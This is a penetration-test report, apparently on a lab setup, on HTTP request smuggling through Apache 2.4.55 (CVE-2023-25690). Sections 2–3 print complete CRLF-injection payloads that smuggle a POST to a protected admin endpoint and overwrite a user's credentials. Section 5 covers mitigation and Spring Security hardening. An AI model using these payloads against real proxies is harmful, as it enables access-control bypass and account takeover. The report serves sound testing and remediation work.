تهريب طلب HTTP عبر وكيل Apache

تكوين البيئة

البنية التحتية

مستخدم ──► Apache :80 (وكيل) ──► Spring Boot :8080 (خلفية) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: CRLF غير منقاة
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> محظور

نقاط النهاية العامة للخلفية

POST /public/register: permette la registrazione degli utenti nel database
POST /public/login: permette il login attraverso la verifica delle credenziali inserite e rilascia un token di sessione
GET /public/dashboard: area riservata degli utenti
GET /api/status: accetta parametro “name”, è un endpoint di esempio per la verifica dello stato dei servizi
GET /public/logout

نقاط النهاية الخاصة للخلفية

POST /admin/edit/{id}/{newName}/{newPass}: è una rotta teoricamente inaccessibile al pubblico che permette la modifica dei dati degli utenti agli amministratori

منهجية مرجعية لاختبار الاختراق

1. التخطيط — تعريف النطاق
2. الاكتشاف — جمع المعلومات، البصمة، المسح والتعداد، تحليل الثغرات
3. الهجوم — الاستغلال، تصعيد الامتيازات
4. الإبلاغ — الملخص التنفيذي، التقرير الفني

الملخص التنفيذي

خلال نشاط اختبار الاختراق، تم تحديد ثغرة حرجة في بنية الوكيل العكسي الذي يعرض الخلفية Spring Boot. يتأثر الوكيل Apache HTTP Server الإصدار 2.4.55 بالثغرة CVE-2023-25690 (تهريب طلب HTTP)، والتي تسمح للمهاجم بتجاوز مرشحات الأمان المفروضة على الوكيل والوصول مباشرة إلى نقاط النهاية الإدارية الداخلية غير المحمية.

يستغل الهجوم غياب تنقية أحرف التحكم (CRLF) في RewriteRule الخاصة بـ Apache، مما يسمح بحقن طلب HTTP ثانٍ بين معلمات طلب مشروع نحو الخلفية. أثبت إثبات المفهوم التعديل غير المصرح به لبيانات اعتماد المستخدم في قاعدة البيانات عبر نقطة النهاية /admin/edit/{id}/{newName}/{newPass}، المحمية نظريًا بواسطة قوائم التحكم في الوصول (ACL) للوكيل.

التوصيات: تحديث Apache HTTP Server فورًا إلى الإصدار ≥ 2.4.56، وتعزيز مرشحات الأمان على الوكيل، وتنفيذ طبقة أمان على جانب الخلفية (Spring Security) لجميع نقاط النهاية الحساسة.

1 التخطيط

1.1 الطريقة

• متجه الهجوم: الإنترنت
• البيئة المراد مهاجمتها: الإنتاج

1.2 الصندوق الرمادي - المعلومات المعروفة:

• اسم مضيف الواجهة الأمامية
• اسم مضيف الخلفية (أو عنوان IP في شبكة الشركة المحلية) والمنفذ
• نقطة النهاية الخاصة

1.3 أهداف الاختبار

• تجاوز قوائم التحكم في الوصول (ACL) الخاصة بـ Apache للوصول إلى نقطة النهاية الخاصة
• إظهار تعديل غير مصرح به لبيانات المستخدم في قاعدة البيانات
• تقييم التأثير الفعلي لـ CVE-2023-25690 في سيناريو حقيقي

2 تقييم الثغرات — مرحلة الاكتشاف

2.1 جمع المعلومات والبصمة

2.1.1 الحصول على الشعار (Banner Grabbing)

تحديد إصدار Apache من خلال تحليل رؤوس HTTP للاستجابة.

$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

النتيجة: يكشف رأس الخادم Apache/2.4.55. استشارة قاعدة بيانات CVE → تطابق مع CVE-2023-25690.

وفقًا لـ CVE، في هذا الإصدار من Apache، إذا كانت هناك قاعدة RewriteRule تنسخ في عنوان URL الوجهة للخلفية أحرفًا عامة من الطلب إلى الوكيل، فإن النص المنسوخ لا يتم تنقيته، وبالتالي تمر أحرف التحكم (مثل رجوع السطر) أيضًا

Ad esempio: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P sta per modalità proxy

لذا، هدفنا الآن هو اكتشاف أي نقطة نهاية قد تقوم بهذا النسخ على مستوى الوكيل

2.1.2 تحديد تقنيات الخلفية

من تحليل الردود وسلوك التطبيق، يُلاحظ أن الجلسة تُدار عبر JSESSIONID، مما يؤكد استخدام حاوية سيرفلت جافا (مثل Apache Tomcat أو Jetty أو WildFly)، بالإضافة إلى ذلك، يؤدي الطلب إلى نقاط نهاية غير موجودة إلى إرجاع "صفحة خطأ Whitelabel" تشير إلى وجود Spring Boot في الخلفية.

2.2 المسح والتعداد

2.2.1 تعداد الدليل النشط/نقاط النهاية (Fuzzing)

باستخدام سكريبت باش لأتمتة الفحص بالقاموس، تم رسم خرائط نقاط النهاية المكشوفة على الشبكة (على الأرجح جميعها)

النتيجة:

2.2.2 رسم خرائط تكوين الوكيل (استنتاج)

بالنظر إلى أن /service/x و /api/status?name=x يعيدان نفس الرد، يُفهم أنهما يشيران إلى نفس نقطة النهاية الخلفية، بالإضافة إلى أن الطلبات مثل /service/x/y/z (التي على الأرجح غير موجودة) لا تعيد 404، يمكن استنتاج أن نقطة النهاية الأصلية تقبل معلمة وليس متغير مسار، وبالتالي يُستنتج أن الطلبات إلى /service/<خدمة> تتم ترجمتها باستخدام RewriteRule للخلفية Spring Boot (وهو ما كنا نبحث عنه تمامًا). الآن يجب معرفة ما إذا كانت قاعدة RewriteRule هذه وهمية، أي أنها تستخدم تعبيرًا منتظمًا مثل .* أو أنها منظمة جيدًا.

أحاول إدراج أحرف تحكم في الطلب لتقسيم المحتوى المشروع عن المحتوى المخفي:

curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... الخدمة 'x' قيد التشغيل ومستقرة.

لقد أدخلت معلمة مخصصة للتحقق من تفسير أحرف CRLF بشكل صحيح.

trash_header يقوم بتغليف الرؤوس التي سيدرجها Apache في الطلب إلى الخلفية (وبهذه الطريقة سيتم تفسيرها كنص بسيط لرأس X-Header ولن يكون لها قيمة لأغراض طلب HTTP).

خارج نطاق المهاجم

باستخدام tcpdump في حاوية الخلفية، تمكنت من اعتراض طلب HTTP القادم من Apache:

docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

يرى الخلفية هذا الطلب:

GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

"أحرف التحكم قد سيطرت"

يشير الرد إلى أن الجزء الذي يحتوي على أحرف التحكم قد مر دون إزعاج كهيكل لطلب HTTP نفسه وليس مجرد معلمة (لأن الاسم الذي اعترضته الخلفية هو فقط 'x'). وبالتالي، فقد فرضنا تنسيق طلب HTTP نحو الخلفية وقد استقبله الوكيل، وهذا يفتح الطريق أمام الحمولة الحقيقية للتهريب.

2.3 رسم خرائط سطح الهجوم

3 الهجوم

3.1 هدف الهجوم

إجبار الوكيل العكسي Apache على إعادة توجيه طلبين متميزين إلى الخلفية Spring Boot، بحيث يصل الطلب الثاني إلى نقطة النهاية /admin/edit/ متجاوزًا مرشح ACL الخاص بـ Apache.

في هذه المرحلة، افترض أن localhost و spring-backend هما على التوالي العناوين العامة للوكيل والخادم. في حالة وجود الوكيل والخلفية في نفس الشبكة (أو المؤسسة)، سيكون spring-backend عنوان IP خاص (والذي سيكون من الصعب معرفته للأسف).

3.2 آلية التهريب

تكمن الثغرة في قاعدة RewriteRule:

RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

يلتقط الوكيل إدخال المستخدم في $1 ويدرجه في سلسلة الاستعلام بدون تنقية أحرف التحكم (%20, %0d%0a). تفسر الخلفية (Tomcat) هذه الأحرف على أنها إنهاء لعنوان URL و بداية لطلب HTTP جديد على نفس مقبس TCP.

3.3 تكوين الحمولة

A) GET /service/x                  → جزء مشروع؛ كل ما يأتي بعد /service/
                                      ينتهي في $1 (معلمة الاسم)

B) %20HTTP/1.1                     → [نقطة التقسيم] مسافة تغلق عنوان URL
                                      قبل الأوان في الخلفية

C) %0d%0aHost:...%0d%0a%0d%0a     → [حقن الرأس] CRLF لإنهاء الطلب الأول

D) POST /admin/edit/1/HACKED/PWNED → [طلب مهرب] طلب خبيث مخفي نحو
                                      نقطة نهاية الإدارة

E) %20HTTP/1.1                     → إصدار HTTP للطلب الثاني

F) %0d%0aContent-Length:%200       → جسم فارغ للـ POST
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [مصب الرأس] تمتص الرؤوس المضافة
                                      تلقائيًا بواسطة Apache

3.4 طلب HTTP كامل

GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 فك ترميز التدفق

ما يراه Apache (طلب واحد فقط):

GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

ما يستقبله الخلفية (طلبين على نفس المقبس):

--- الطلب 1 (مشروع، لكن "مبتور") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- الطلب 2 (مهرب) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 النتيجة

>> ... HTTP/1.1 200 ... الخدمة 'x' قيد التشغيل ومستقرة.

تم إعادة تسمية المستخدم ذو المعرف 1 إلى HACKED بكلمة مرور PWNED — تجاوز كامل لقوائم التحكم في الوصول (ACL) للوكيل.

خارج نطاق المهاجم

الوصول المباشر إلى قاعدة البيانات للتأكيد:

$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 تقييم الثغرة

4.1 التحديد

4.2 تسجيل CVSS 3.1

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

المقاييس الأساسية

النتيجة الأساسية: 10.0 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

المقاييس الزمنية

النتيجة الزمنية: 9.3 (عالي)

المقاييس البيئية

النتيجة البيئية: 8.0 (عالي)

سلسلة المتجه: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

النتيجة الإجمالية: 8.0 — عالي

5. المعالجة

5.1 التدخل الفوري (إصلاح سريع) — RewriteCond حاجز

إضافة RewriteCond تمنع الطلبات التي تحتوي على أحرف تحكم (مسافة، CR، LF) في REQUEST_URI:

<VirtualHost *:80>
    ServerName localhost

    RewriteEngine on

    # BLOCCO CARATTERI DI CONTROLLO
    RewriteCond %{REQUEST_URI} [\s\r\n]
    RewriteRule ^ - [F,L]

    # Regole esistenti
    RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
    RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

    ProxyPassReverse "/public/" "http://spring-backend:8080/public/"

    <Location "/admin">
        Require all denied
    </Location>
</VirtualHost>

• F (Forbidden): يعيد خطأ 403 فوري
• L (Last): يوقف تقييم القواعد التالية

5.2 تحديث البرنامج (موصى به)

تحديث Apache HTTP Server إلى الإصدار ≥ 2.4.56، حيث يتم فرض تنقية أحرف التحكم في RewriteRule مع العلم [P] على مستوى نواة الخادم.

5.3 تقوية الخلفية (Spring Boot)

تنفيذ Spring Security

إضافة spring-boot-starter-security إلى pom.xml:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

تكوين SecurityFilterChain يحمي نقاط النهاية الإدارية:

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

التحقق من الإدخال

إضافة فحوصات على جميع المعلمات المقبولة من نقاط النهاية (سلسلة الاستعلام، متغيرات المسار، بيانات النموذج):

@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // Verifica che l'utente abbia ruolo ADMIN
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "Accesso negato";
    }
    // ... operazione consentita solo dopo auth check
}